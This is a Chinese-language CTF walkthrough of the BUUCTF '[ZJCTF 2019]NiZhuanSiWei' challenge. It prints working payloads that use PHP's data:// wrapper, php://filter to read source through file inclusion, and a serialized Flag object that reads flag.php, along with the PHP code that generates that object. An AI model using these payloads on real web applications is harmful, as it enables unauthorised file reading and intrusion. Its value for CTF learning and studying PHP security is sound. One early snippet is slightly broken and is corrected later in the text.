BUUCTF-[ZJCTF 2019]NiZhuanSiWei

BUUCTF-[ZJCTF 2019]NiZhuanSiWei

一、知识点

1、php各种协议,data://,php://

payload构造:

text=data://text/plain,welcome to the zjctf

data协议解释:https://www.php.net/manual/zh/wrappers.data.php

2、文件包含

payload构造:

file=php://filter/read=convert.base64-encode/resource=useless.php

3、反序列化

<?php  

class Flag{  //flag.php 
    public $file; 
    public function __tostring(){ 
        if(isset($this->file)){ 
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        } 
    } 
} 
?>

构造代码如下:

<?php  

class Flag{ 
    public $file=flag.php; 
    public function __tostring(){ 
        if(isset($this->file)){ 
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        } 
    } 
} 
$a=new Flag();
echo serialize($a);	
echo urlencode(serialize($a));
?>

二、解题过程

1、代码审计

BUUCTF-[ZJCTF 2019]NiZhuanSiWei

2、file_get_contents和data协议

(file_get_contents($text,'r') === "welcome to the zjctf"

使用php的data协议

payload如下:

data://text/plain;base64

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

或者

text=data://text/plain,welcome to the zjctf

file_get_contents函数

会把文件中的内容读入一个字符串中

data协议解释

data协议可以使你输入得字符串作为数据流

3、include($file)文件包含

else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
}

关键的payload:

file=php://filter/read=convert.base64-encode/resource=useless.php

那么第二步完整payload

text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

得到base64密文

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

4、useless.php得代码

BUUCTF-[ZJCTF 2019]NiZhuanSiWei

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  

?>  

BUUCTF-[ZJCTF 2019]NiZhuanSiWei

我们发现useless.php是一个类,并且提示我们flag在flag.php

明确了文件位置就可以开始构造pop链。

第三步的关键payload3:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

BUUCTF-[ZJCTF 2019]NiZhuanSiWei

利用如下代码生成。

<?php
class Flag{  //flag.php
    public $file = "flag.php";
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}

$demo = new Flag();
$u = serialize($demo);
echo $u;
?>

5、完整payload

text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

BUUCTF-[ZJCTF 2019]NiZhuanSiWei

直接查看网页源码,得到flag:
BUUCTF-[ZJCTF 2019]NiZhuanSiWei

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